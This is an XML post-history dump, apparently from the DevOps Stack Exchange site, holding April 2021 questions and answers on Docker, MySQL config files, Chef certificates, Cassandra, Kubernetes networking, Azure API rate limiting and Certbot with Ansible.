  <row Id="43001" PostHistoryTypeId="34" PostId="13591" RevisionGUID="fa7d12d6-43b1-4247-8641-0e7c9c5334b4" CreationDate="2021-04-01T19:03:25.290" UserId="-1" Comment="70" />
  <row Id="43002" PostHistoryTypeId="2" PostId="13650" RevisionGUID="9d9e29aa-bf17-41a8-93ff-d83d4f6ddcd9" CreationDate="2021-04-01T19:11:07.527" UserId="26928" Text="I'm trying to create a `.my.cnf` file for my MySQL docker-container that would allow me to prefill the user and password for the MySQL client. To achieve this I created the following dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM mysql:5.7&#xD;&#xA;    RUN touch ~/.my.cnf &amp;&amp; echo -e &quot;[client]\nuser=root\npassword=$(echo $MYSQL_ROOT_PASSWORD)&quot; &gt;&gt; ~/.my.cnf&#xD;&#xA;&#xD;&#xA;But when starting the container I always get the errors:&#xD;&#xA;&#xD;&#xA;    mysql5.7-database    | 2021-04-01 18:38:51+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 5.7.33-1debian10 started.&#xD;&#xA;    mysql5.7-database    | 2021-04-01 18:38:51+00:00 [ERROR] [Entrypoint]: mysqld failed while attempting to check config&#xD;&#xA;    mysql5.7-database    |  command was: mysqld --verbose --help --log-bin-index=/tmp/tmp.5imGsNRXXC&#xD;&#xA;    mysql5.7-database    |  mysqld: [ERROR] Found option without preceding group in config file /root/.my.cnf at line 1!&#xD;&#xA;    mysql5.7-database    | mysqld: [ERROR] Fatal error in defaults handling. Program aborted!&#xD;&#xA;&#xD;&#xA;* The environment variable `$MYSQL_ROOT_PASSWORD` is successfully set with the correct password.&#xD;&#xA;* I can login with the password in the `$MYSQL_ROOT_PASSWORD`&#xD;&#xA;&#xD;&#xA;The result of `echo -e &quot;[client]\nuser=root\npassword=$(echo $MYSQL_ROOT_PASSWORD)&quot;` is:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[client]&#xD;&#xA;user=root&#xD;&#xA;password=&lt;my-generated-password&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I create the file manually in the running docker container, it works like a charm. Any advise?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43003" PostHistoryTypeId="1" PostId="13650" RevisionGUID="9d9e29aa-bf17-41a8-93ff-d83d4f6ddcd9" CreationDate="2021-04-01T19:11:07.527" UserId="26928" Text="mysqld: [ERROR] Found option without preceding group in config file /root/.my.cnf at line 1!" ContentLicense="CC BY-SA 4.0" />
  <row Id="43004" PostHistoryTypeId="3" PostId="13650" RevisionGUID="9d9e29aa-bf17-41a8-93ff-d83d4f6ddcd9" CreationDate="2021-04-01T19:11:07.527" UserId="26928" Text="&lt;docker&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43005" PostHistoryTypeId="5" PostId="13650" RevisionGUID="d4e5f4b8-a7bf-457a-ac41-e34565f25ec3" CreationDate="2021-04-01T19:18:03.857" UserId="26928" Comment="added 10 characters in body" Text="I'm trying to create a `.my.cnf` file for my MySQL docker-container that would allow me to prefill the user and password for the MySQL client. To achieve this I created the following dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM mysql:5.7&#xD;&#xA;    RUN touch ~/.my.cnf &amp;&amp; echo -e &quot;[client]\nuser=root\npassword=$(echo $MYSQL_ROOT_PASSWORD)&quot; &gt;&gt; ~/.my.cnf&#xD;&#xA;&#xD;&#xA;But when starting the container I always get the errors:&#xD;&#xA;&#xD;&#xA;    mysql5.7-database    | 2021-04-01 18:38:51+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 5.7.33-1debian10 started.&#xD;&#xA;    mysql5.7-database    | 2021-04-01 18:38:51+00:00 [ERROR] [Entrypoint]: mysqld failed while attempting to check config&#xD;&#xA;    mysql5.7-database    |  command was: mysqld --verbose --help --log-bin-index=/tmp/tmp.5imGsNRXXC&#xD;&#xA;    mysql5.7-database    |  mysqld: [ERROR] Found option without preceding group in config file /root/.my.cnf at line 1!&#xD;&#xA;    mysql5.7-database    | mysqld: [ERROR] Fatal error in defaults handling. Program aborted!&#xD;&#xA;&#xD;&#xA;* The environment variable `$MYSQL_ROOT_PASSWORD` is successfully set with the correct password.&#xD;&#xA;* I can login with the password in the `$MYSQL_ROOT_PASSWORD`&#xD;&#xA;&#xD;&#xA;The result of `echo -e &quot;[client]\nuser=root\npassword=$(echo $MYSQL_ROOT_PASSWORD)&quot;` is:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[client]&#xD;&#xA;user=root&#xD;&#xA;password=&lt;my-generated-password&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I create the `.my.cnf` file manually in the running docker container, it works like a charm. Any advise?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43007" PostHistoryTypeId="2" PostId="13651" RevisionGUID="f4d9f488-828a-41f4-9513-9512c119de26" CreationDate="2021-04-01T23:34:28.027" UserId="26931" Text="In my case, I was doing basically the same thing, because the internal certificate path was different than the typical certificate path, so I had to add my internal certificates.  In my case, adding the SSL_CERT_FILE didn't work.  I needed to copy my certificates, which I had exported as *.cer and then made *.pem versions using&#xD;&#xA;&#xD;&#xA;. ./openssl x509 -inform der -in C:\dev\apps\certificates\org_root.cer -out C:\dev\apps\certificates\org_root.pem&#xD;&#xA;&#xD;&#xA;I found the openssl tool here:&#xD;&#xA;&#xD;&#xA;C:\opscode\chefdk\embedded\bin&#xD;&#xA;&#xD;&#xA;Then I copied them to this location (which the location in the documentation above doesn't clarify very well):&#xD;&#xA;&#xD;&#xA;C:\Users\\[username]\\.chef\trusted_certs&#xD;&#xA;&#xD;&#xA;I had to create the &quot;trusted_certs&quot; folder on my target machine where I wanted to run the chef client.  After copying the certificates there, it began working and trusting the internal certificate chain without SSL errors (in my case self-signed certificate error)." ContentLicense="CC BY-SA 4.0" />
  <row Id="43008" PostHistoryTypeId="2" PostId="13652" RevisionGUID="32d3f5dc-16e7-4210-9514-6d404a900476" CreationDate="2021-04-02T01:27:42.327" UserId="18637" Text="I have been tried ran a Ansible Playboo, but after change the `cassandra.yml` when the service tries start I received this error bellow:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;● cassandra.service - LSB: distributed storage system for structured data&#xD;&#xA;   Loaded: loaded (/etc/rc.d/init.d/cassandra; bad; vendor preset: disabled)&#xD;&#xA;   Active: failed (Result: exit-code) since sex 2021-04-02 01:06:05 UTC; 15min ago&#xD;&#xA;     Docs: man:systemd-sysv-generator(8)&#xD;&#xA;  Process: 5052 ExecStop=/etc/rc.d/init.d/cassandra stop (code=exited, status=1/FAILURE)&#xD;&#xA;  Process: 4883 ExecStart=/etc/rc.d/init.d/cassandra start (code=exited, status=0/SUCCESS)&#xD;&#xA; Main PID: 4972 (code=exited, status=3)&#xD;&#xA;&#xD;&#xA;abr 02 01:05:37 ip-10-5-10-195.ec2.internal cassandra[4883]: Starting Cassandra: OK&#xD;&#xA;abr 02 01:05:37 ip-10-5-10-195.ec2.internal systemd[1]: Started LSB: distributed storage system for structured data.&#xD;&#xA;abr 02 01:05:40 ip-10-5-10-195.ec2.internal systemd[1]: cassandra.service: main process exited, code=exited, status=3/NOTIMPLEMENTED&#xD;&#xA;abr 02 01:05:40 ip-10-5-10-195.ec2.internal runuser[5063]: pam_unix(runuser:session): session opened for user cassandra by (uid=0)&#xD;&#xA;abr 02 01:05:40 ip-10-5-10-195.ec2.internal cassandra[5052]: Shutdown Cassandra: kill: sending signal to 4972 failed: No such process&#xD;&#xA;abr 02 01:05:40 ip-10-5-10-195.ec2.internal runuser[5063]: pam_unix(runuser:session): session closed for user cassandra&#xD;&#xA;abr 02 01:06:05 ip-10-5-10-195.ec2.internal cassandra[5052]: ERROR: could not stop cassandra&#xD;&#xA;abr 02 01:06:05 ip-10-5-10-195.ec2.internal systemd[1]: cassandra.service: control process exited, code=exited status=1&#xD;&#xA;abr 02 01:06:05 ip-10-5-10-195.ec2.internal systemd[1]: Unit cassandra.service entered failed state.&#xD;&#xA;abr 02 01:06:05 ip-10-5-10-195.ec2.internal systemd[1]: cassandra.service failed.&#xD;&#xA;```&#xD;&#xA;In my _cassandra.yml_ I just change the mount point/path where Cassandra stores the **data** and sure that this works.&#xD;&#xA;&#xD;&#xA;I have been spend long hours trying solve but without success, someone my can help me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43009" PostHistoryTypeId="1" PostId="13652" RevisionGUID="32d3f5dc-16e7-4210-9514-6d404a900476" CreationDate="2021-04-02T01:27:42.327" UserId="18637" Text="Ansible Playbook fails start Apache Cassandra" ContentLicense="CC BY-SA 4.0" />
  <row Id="43010" PostHistoryTypeId="3" PostId="13652" RevisionGUID="32d3f5dc-16e7-4210-9514-6d404a900476" CreationDate="2021-04-02T01:27:42.327" UserId="18637" Text="&lt;ansible&gt;&lt;cassandra&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43011" PostHistoryTypeId="50" PostId="12071" RevisionGUID="69a2773d-19bc-4d2d-9fe9-983498091a90" CreationDate="2021-04-02T05:04:50.600" UserId="-1" />
  <row Id="43012" PostHistoryTypeId="5" PostId="13651" RevisionGUID="62703f19-b093-41b5-a2b4-565c0a99659d" CreationDate="2021-04-02T05:13:00.130" UserId="26931" Comment="added 704 characters in body" Text="In my case, I was doing basically the same thing, because the internal certificate path was different than the typical certificate path, so I had to add my internal certificates.  In my case, adding the SSL_CERT_FILE didn't work.  I needed to copy my certificates, which I had exported as *.cer and then made *.pem versions using&#xD;&#xA;&#xD;&#xA;. ./openssl x509 -inform der -in C:\dev\apps\certificates\org_root.cer -out C:\dev\apps\certificates\org_root.pem&#xD;&#xA;&#xD;&#xA;I found the openssl tool here:&#xD;&#xA;&#xD;&#xA;C:\opscode\chefdk\embedded\bin&#xD;&#xA;&#xD;&#xA;Then I copied them to this location (which the location in the documentation above doesn't clarify very well) on the target machine:&#xD;&#xA;&#xD;&#xA;C:\Users\\[username]\\.chef\trusted_certs&#xD;&#xA;&#xD;&#xA;I had to create the &quot;trusted_certs&quot; folder on my target machine where I wanted to run the chef client.  After copying the certificates there, it began working and trusting the internal certificate chain without SSL errors (in my case self-signed certificate error).&#xD;&#xA;&#xD;&#xA;Also, on the ChefDK machine if you're using kitchen or something like that, I had to take the contents of my internal certificates' *.pem files and copy the contents of the content to the tail of the &quot;C:\opscode\chefdk\embedded\ssl\certs\cacert.pem&quot; file or the cacert.pem file referenced by the SSL_CERT_FILE environment variable.  In my case, I was copying an internal intermediate cert as well as a internal root cert and I believe they recommend that order also (ending with the root in the chain).  This requirement on the ChefDK machine is due to the ChefDK communicating with a client machine using &quot;remote_file&quot; and the solution I'm providing appears to relate to this Chef bug, which may be fixed in newer versions of Chef.&#xD;&#xA;&#xD;&#xA;https://github.com/chef/chef/issues/5944" ContentLicense="CC BY-SA 4.0" />
  <row Id="43013" PostHistoryTypeId="2" PostId="13653" RevisionGUID="3027d437-03b5-432d-a035-6a64ec2a1c03" CreationDate="2021-04-02T06:20:46.453" UserId="26933" Text="Please help us with the following problem:&#xD;&#xA;We are using calico from https://docs.projectcalico.org/manifests/calico.yaml to setup Kubernetes network on SDDC cloud. The masters are inside the cloud, but the workers are outside and when they are joining the masters, the tunl0 interface is not created, so there is no connection between calico pods. What could be the reason and how can we solve the problem? The workers are connecting to the masters via Load Balancer. If the workers are inside SDDC cloud, everything is fine. Please help." ContentLicense="CC BY-SA 4.0" />
  <row Id="43014" PostHistoryTypeId="1" PostId="13653" RevisionGUID="3027d437-03b5-432d-a035-6a64ec2a1c03" CreationDate="2021-04-02T06:20:46.453" UserId="26933" Text="Kubernetes workers outside the SDDC cloud not connect to the masters" ContentLicense="CC BY-SA 4.0" />
  <row Id="43015" PostHistoryTypeId="3" PostId="13653" RevisionGUID="3027d437-03b5-432d-a035-6a64ec2a1c03" CreationDate="2021-04-02T06:20:46.453" UserId="26933" Text="&lt;kubernetes&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43016" PostHistoryTypeId="2" PostId="13654" RevisionGUID="b636efc1-b462-4e86-a5f4-defb8c884a4d" CreationDate="2021-04-02T06:57:34.393" UserId="26663" Text="I'm just getting into DevOps, trying to learn as I go. One thing I don't understand is this.&#xD;&#xA;&#xD;&#xA;When I was trying to automate my docker image build, I noticed that there are multiple ways to accomplish this. Here are the methods that I know of.&#xD;&#xA;&#xD;&#xA;1. Automated Docker Image build using hook on the GitHub repository. (this is done directly from DockerHub)&#xD;&#xA;2. Setting up GitHub action using a `yaml` file. (Done from GitHub)&#xD;&#xA;3. Using a full-fledged CI tool like Jenkins&#xD;&#xA;&#xD;&#xA;I'm not sure if there are any other ways to accomplish this. What I don't understand, is how these three ways differ from each other. Does any method advantages over another? Which situation requires which method?&#xD;&#xA;&#xD;&#xA;I'd appreciate any help. Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="43017" PostHistoryTypeId="1" PostId="13654" RevisionGUID="b636efc1-b462-4e86-a5f4-defb8c884a4d" CreationDate="2021-04-02T06:57:34.393" UserId="26663" Text="Docker | Multiple ways to build Docker Image" ContentLicense="CC BY-SA 4.0" />
  <row Id="43018" PostHistoryTypeId="3" PostId="13654" RevisionGUID="b636efc1-b462-4e86-a5f4-defb8c884a4d" CreationDate="2021-04-02T06:57:34.393" UserId="26663" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;dockerhub&gt;&lt;github-actions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43019" PostHistoryTypeId="2" PostId="13655" RevisionGUID="71a0dc1d-373a-4f63-8b36-9846b687deb0" CreationDate="2021-04-02T07:18:34.953" UserId="25529" Text="The default Dockerfile shell is `sh`. I don't think echo there has the `-e` modifier for backslash. Newline &amp; other special symbols will work by default. In your command, resulting `.my.cnf` would contain a litteral `-e`.&#xD;&#xA;&#xD;&#xA;Remove `-e` **or** use the original command in Dockerfile in a different shell, for instance:&#xD;&#xA;```Dockerfile&#xD;&#xA;RUN /bin/bash -c '&lt;your-command&gt;'&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43020" PostHistoryTypeId="2" PostId="13656" RevisionGUID="f0a23410-4163-48b3-9edb-cc3f043447f9" CreationDate="2021-04-02T08:04:39.020" UserId="26934" Text="You can use tflint project. It has lot of plugins for cloud providers. &#xD;&#xA;https://github.com/terraform-linters/tflint" ContentLicense="CC BY-SA 4.0" />
  <row Id="43021" PostHistoryTypeId="5" PostId="13654" RevisionGUID="750ab993-823a-4281-8359-06f128f6c3e9" CreationDate="2021-04-02T11:55:16.450" UserId="26663" Comment="added 59 characters in body" Text="I'm just getting into DevOps, trying to learn as I go. One thing I don't understand is this.&#xD;&#xA;&#xD;&#xA;When I was trying to automate my docker image build, I noticed that there are multiple ways to accomplish this. Here are the methods that I know of.&#xD;&#xA;&#xD;&#xA;1. Automated Docker Image build using hook on the GitHub repository. (this is done directly from DockerHub)&#xD;&#xA;2. Setting up GitHub action using a `yaml` file. (Builds after merging PR to repo - Done from within GitHub)&#xD;&#xA;3. Using a full-fledged CI tool like Jenkins. (Also builds on merging PR to repo)&#xD;&#xA;&#xD;&#xA;I'm not sure if there are any other ways to accomplish this. What I don't understand, is how these three ways differ from each other. Does any method advantages over another? Which situation requires which method?&#xD;&#xA;&#xD;&#xA;I'd appreciate any help." ContentLicense="CC BY-SA 4.0" />
  <row Id="43022" PostHistoryTypeId="2" PostId="13657" RevisionGUID="d12c3a3d-24da-4c6e-9895-f30f5c1471ce" CreationDate="2021-04-02T13:57:00.147" UserId="26803" Text="Is it possible to call `docker push` command and tell it to show the overall progress but turn off the animations so that it would be useful in CI pipeline. Currently I can not see any progress info printed to STDOUT while executing docker push in a job on Teamcity but see animated one locally." ContentLicense="CC BY-SA 4.0" />
  <row Id="43023" PostHistoryTypeId="1" PostId="13657" RevisionGUID="d12c3a3d-24da-4c6e-9895-f30f5c1471ce" CreationDate="2021-04-02T13:57:00.147" UserId="26803" Text="How to tell &quot;docker push&quot; command to print out the progress in way that is suitable for CI" ContentLicense="CC BY-SA 4.0" />
  <row Id="43024" PostHistoryTypeId="3" PostId="13657" RevisionGUID="d12c3a3d-24da-4c6e-9895-f30f5c1471ce" CreationDate="2021-04-02T13:57:00.147" UserId="26803" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43025" PostHistoryTypeId="50" PostId="8755" RevisionGUID="0506f4fd-0f04-4d91-bf7b-5e6458b93f33" CreationDate="2021-04-02T14:03:05.297" UserId="-1" />
  <row Id="43026" PostHistoryTypeId="2" PostId="13658" RevisionGUID="cd95612e-8ed8-44c6-b1cf-b607fd80a912" CreationDate="2021-04-02T21:56:24.263" UserId="26943" Text="You have an open facing Azure API Gateway that can be consumed by anyone and you want to protect yourself from the API being spammed by the same IP or the same individual behind multiple IP's.&#xD;&#xA;&#xD;&#xA;There are policies one can configure within API Management to:&#xD;&#xA;&#xD;&#xA; - [Limit call rate by subscription][1]&#xD;&#xA; - [Limit call rate by key][2]&#xD;&#xA; - [Set usage quota by subscription][3]&#xD;&#xA; - [Set usage quota by key][4]&#xD;&#xA; - [Restrict caller IP's][5]&#xD;&#xA;&#xD;&#xA;Setting limits by subscription (specific consumers) or key (specific apps) wouldn't work because your API is open to the public, and the last option of restricting caller IP's one-by-one doesn't prevent the issue from happening in the first place.&#xD;&#xA;&#xD;&#xA;How do you protect against the same user (IP) repeatedly crushing your rate or quota limits? Additionally, how would you protect against that same user doing this across multiple IP's?&#xD;&#xA;&#xD;&#xA;My guess is that this is likely covered in [Azure's DDoS Protection Basic][6] but I felt that I couldn't get a concrete answer out of those docs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/api-management/api-management-access-restriction-policies#LimitCallRate&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/api-management/api-management-access-restriction-policies#LimitCallRateByKey&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/api-management/api-management-access-restriction-policies#SetUsageQuota&#xD;&#xA;  [4]: https://docs.microsoft.com/en-us/azure/api-management/api-management-access-restriction-policies#SetUsageQuotaByKey&#xD;&#xA;  [5]: https://docs.microsoft.com/en-us/azure/api-management/api-management-access-restriction-policies#RestrictCallerIPs&#xD;&#xA;  [6]: https://docs.microsoft.com/en-us/azure/security/fundamentals/ddos-best-practices#azure-offerings-for-ddos-protection" ContentLicense="CC BY-SA 4.0" />
  <row Id="43027" PostHistoryTypeId="1" PostId="13658" RevisionGUID="cd95612e-8ed8-44c6-b1cf-b607fd80a912" CreationDate="2021-04-02T21:56:24.263" UserId="26943" Text="How do you stop malicious requests in Azure APIM from repeatedly hitting your rate or quota limits?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43028" PostHistoryTypeId="3" PostId="13658" RevisionGUID="cd95612e-8ed8-44c6-b1cf-b607fd80a912" CreationDate="2021-04-02T21:56:24.263" UserId="26943" Text="&lt;azure-devops&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43029" PostHistoryTypeId="50" PostId="13445" RevisionGUID="fdec3af6-206e-4d38-9769-f77ef97b4e35" CreationDate="2021-04-03T10:01:35.143" UserId="-1" />
  <row Id="43030" PostHistoryTypeId="2" PostId="13659" RevisionGUID="f7b1a0a7-3d8c-4484-8b6a-771d950696bb" CreationDate="2021-04-03T10:25:39.793" UserId="26949" Text="Yesterday, we had a downtime because of CPU 100% usage. When I checked new relic, it showed a few processes starting with `snap.microk8s.` taking all CPU power. I'm not familiar with microk8s. But, after a small search I found that it's related to Kubernetes. We aren't using Kubernetes in anyway (just a LAMP server). We haven't ever installed Kuberneters of microk8s on our servers. I assume it's default in Digitalocean's Ubuntu installation.&#xD;&#xA;&#xD;&#xA;1. What does microk8s do and why did microk8s use 100% of CPU suddenly?&#xD;&#xA;2. Is it okay to remove microk8s? If yes, how?&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="43031" PostHistoryTypeId="1" PostId="13659" RevisionGUID="f7b1a0a7-3d8c-4484-8b6a-771d950696bb" CreationDate="2021-04-03T10:25:39.793" UserId="26949" Text="What are snap.microk8s.x processes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43032" PostHistoryTypeId="3" PostId="13659" RevisionGUID="f7b1a0a7-3d8c-4484-8b6a-771d950696bb" CreationDate="2021-04-03T10:25:39.793" UserId="26949" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43033" PostHistoryTypeId="50" PostId="12836" RevisionGUID="4a8f2320-2c07-48c8-9bad-d9427630e18f" CreationDate="2021-04-03T17:04:00.353" UserId="-1" />
  <row Id="43034" PostHistoryTypeId="50" PostId="13477" RevisionGUID="5a9d9622-9646-4396-ac2b-ab48e1a9bef5" CreationDate="2021-04-03T22:00:50.140" UserId="-1" />
  <row Id="43035" PostHistoryTypeId="50" PostId="13440" RevisionGUID="395c661c-6086-4df7-bedc-9deed073a882" CreationDate="2021-04-04T02:01:30.087" UserId="-1" />
  <row Id="43037" PostHistoryTypeId="2" PostId="13660" RevisionGUID="e8f14388-e9fc-426c-9156-f005bfa7ea69" CreationDate="2021-04-04T05:47:34.393" UserId="3175" Text="I tend to prefer infra code living separately from application deployment code.  Multiple reasons for this:&#xD;&#xA;&#xD;&#xA;* You want your infra team to make infra changes.  You want your app team to make application changes (including application configuration).  Putting them separately lets you specify separate guard rails on them (for example, only the infra team is allowed to push changes to your infra repo).&#xD;&#xA;* You don't necessarily want to trigger a redeployment of the app if you make infra changes, and you rarely want to trigger a redeploy of your infrastructure if you trigger a new app build.&#xD;&#xA;* You don't want a bad build of your app preventing you from making any infrastructure changes until it's fixed, and vice-versa.&#xD;&#xA;&#xD;&#xA;It actually makes sense to put your app deployment code (i.e. Helm chart) inside the app repo itself.&#xD;&#xA;&#xD;&#xA;Then, you can actually package up application config changes along with the corresponding release of your application.  You also empower developers to do it themselves, without running the risk of breaking production more than they already can.&#xD;&#xA;&#xD;&#xA;It will also allow your CI/CD tool to deploy both at once.&#xD;&#xA;&#xD;&#xA;And since there's a strict mapping of app IaC and app itself in each GitHub branch, this actually lets you very easily create feature branch environments (i.e. a developer creates a new branch, your CI/CD picks it up, and automatically deploys it to a kube environment)." ContentLicense="CC BY-SA 4.0" />
  <row Id="43038" PostHistoryTypeId="2" PostId="13661" RevisionGUID="1bd9d041-43a8-4dd8-a32c-a8e9d88850f1" CreationDate="2021-04-04T05:57:07.707" UserId="3175" Text="Million dollar question - are you running your fluentD as a DaemonSet?  If not, there's a chance that fluentd simply isn't running on the node where some containers live.&#xD;&#xA;&#xD;&#xA;Otherwise, my best guess is, it's missing permissions to read from all namespaces, especially since you mentioned you haven't attached a ServiceAccount to it.  If you used a public FluentD Helm chart such as [this one][1], try making sure you're deploying it with rbac enabled, i.e.:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;rbac:&#xD;&#xA;  create: true&#xD;&#xA;&#xD;&#xA;serviceAccount:&#xD;&#xA;  create: true&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It'll also help if you post some logs from your fluentd container.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/fluent/helm-charts" ContentLicense="CC BY-SA 4.0" />
  <row Id="43039" PostHistoryTypeId="2" PostId="13662" RevisionGUID="3d278197-1aae-4edb-823a-f81d873b545e" CreationDate="2021-04-04T06:01:43.403" UserId="3175" Text="Look into Payara.  It's a Glassfish fork/drop-in replacement that's better in most ways, including support.&#xD;&#xA;&#xD;&#xA;There is a Payara 5 docker image available right on docker hub:&#xD;&#xA;&#xD;&#xA;https://hub.docker.com/r/payara/server-full" ContentLicense="CC BY-SA 4.0" />
  <row Id="43040" PostHistoryTypeId="2" PostId="13663" RevisionGUID="8a4d9830-d07e-43f6-9c15-fadb1a1c6235" CreationDate="2021-04-04T08:23:07.910" UserId="26965" Text="It seems pretty easy to build image when I just mount the docker.sock in a container. It's same as what I do on hosts machine. Simply `docker build . -t image/name:sometag`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But when I need to do the same from a pod/container in K3s installation, I don't find a way of doing it. Can someone please guide me to something?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43041" PostHistoryTypeId="1" PostId="13663" RevisionGUID="8a4d9830-d07e-43f6-9c15-fadb1a1c6235" CreationDate="2021-04-04T08:23:07.910" UserId="26965" Text="Build image from inside a pod or container" ContentLicense="CC BY-SA 4.0" />
  <row Id="43042" PostHistoryTypeId="3" PostId="13663" RevisionGUID="8a4d9830-d07e-43f6-9c15-fadb1a1c6235" CreationDate="2021-04-04T08:23:07.910" UserId="26965" Text="&lt;kubernetes&gt;&lt;builds&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43046" PostHistoryTypeId="2" PostId="13665" RevisionGUID="421f9c41-e644-4d08-a895-c4a726debc68" CreationDate="2021-04-04T13:46:00.197" UserId="19963" Text="You can deploy docker on same host where you have k3s and then use same technique with docker sock via mounting volume. I.e. this is part of the spec we did for Jenkins on k3s:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Pod&#xD;&#xA;metadata:&#xD;&#xA;  labels:&#xD;&#xA;    run: jenkins-slave&#xD;&#xA;spec:&#xD;&#xA;  containers:&#xD;&#xA;  - name: dind&#xD;&#xA;    image: docker:19.03.12-dind&#xD;&#xA;    command:&#xD;&#xA;    - cat&#xD;&#xA;    volumeMounts:&#xD;&#xA;    - mountPath: /var/run/docker.sock&#xD;&#xA;      name: dockersock&#xD;&#xA;    tty: true&#xD;&#xA;  volumes:&#xD;&#xA;  - name: dockersock&#xD;&#xA;    hostPath:&#xD;&#xA;      path: /var/run/docker.sock&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43047" PostHistoryTypeId="5" PostId="13663" RevisionGUID="0644c17f-2f19-4a98-b671-eaa3f5e12834" CreationDate="2021-04-04T13:55:47.603" UserId="26965" Comment="added 47 characters in body" Text="It seems pretty easy to build image when I just mount the docker.sock in a container. It's same as what I do on hosts machine. Simply `docker build . -t image/name:sometag`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But when I need to do the same from a pod/container in K3s installation, I don't find a way of doing it. Can someone please guide me to something? It has to happen without mounting docker.sock." ContentLicense="CC BY-SA 4.0" />
  <row Id="43050" PostHistoryTypeId="2" PostId="13666" RevisionGUID="11876916-eefd-4f75-8541-b90eea150031" CreationDate="2021-04-05T02:51:20.610" UserId="13139" Text="As per [compute/docs/troubleshooting/known-issues][1]:&#xD;&#xA;&#xD;&#xA;&gt; On Debian and Ubuntu based systems, including your local workstations,&#xD;&#xA;&gt; you might encounter an error similar to the following example:&#xD;&#xA;&gt; [...] The following signatures were invalid: XXXX [...]&#xD;&#xA;&#xD;&#xA;To resolve this error, get the latest valid `apt-key.gpg` key file from `https://packages.cloud.google.com` by running the following command:&#xD;&#xA;&#xD;&#xA;    curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/compute/docs/troubleshooting/known-issues#keyexpired" ContentLicense="CC BY-SA 4.0" />
  <row Id="43053" PostHistoryTypeId="2" PostId="13667" RevisionGUID="8f5692ea-51a2-4696-a751-3d5df9648b11" CreationDate="2021-04-05T11:39:02.210" UserId="26972" Text="I'm using Ansible to manage NGINX server configurations, i.e., my playbooks contain some roles that roll out NGINX server config templates.&#xD;&#xA;&#xD;&#xA;This is my first contact with the topic SSL and I've been told Certbot is the easiest way to integrate letsencrypt certificates. As a first test I did run Certbot manually on a server. It worked in the sense that I got SSL to work. However, I noticed that Certbot manually patched the NGINX configs, and after re-applying the Ansible deployment it reverted Certbot's changes, breaking SSL again, because Ansible assumes full control over the configs.&#xD;&#xA;&#xD;&#xA;I'm wondering what are possible strategies to integrate Certbot in an automated way. Should I apply the patching mechanism of Certbot on every deploy, or is it better to use Certbot in the `certonly` mode, so that it doesn't mess with the NGINX config. What are pros/cons of these solutions?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Note: I've seen [this related question](https://devops.stackexchange.com/questions/8722/what-are-some-reasons-for-using-an-ansible-role-for-certbot-vs-ansibles-native) and the [ansible-role-certbot plugin](https://github.com/geerlingguy/ansible-role-certbot), but they don't directly touch on the topic of maintaining NGINX configurations, and I still have trouble thinking this through.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43054" PostHistoryTypeId="1" PostId="13667" RevisionGUID="8f5692ea-51a2-4696-a751-3d5df9648b11" CreationDate="2021-04-05T11:39:02.210" UserId="26972" Text="How to integrate Certbot with Ansible managed NGINX config?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43055" PostHistoryTypeId="3" PostId="13667" RevisionGUID="8f5692ea-51a2-4696-a751-3d5df9648b11" CreationDate="2021-04-05T11:39:02.210" UserId="26972" Text="&lt;ansible&gt;&lt;nginx&gt;&lt;certbot&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43056" PostHistoryTypeId="50" PostId="9763" RevisionGUID="ac94089b-fc3d-4299-bc0b-71df5e164132" CreationDate="2021-04-05T13:05:55.607" UserId="-1" />
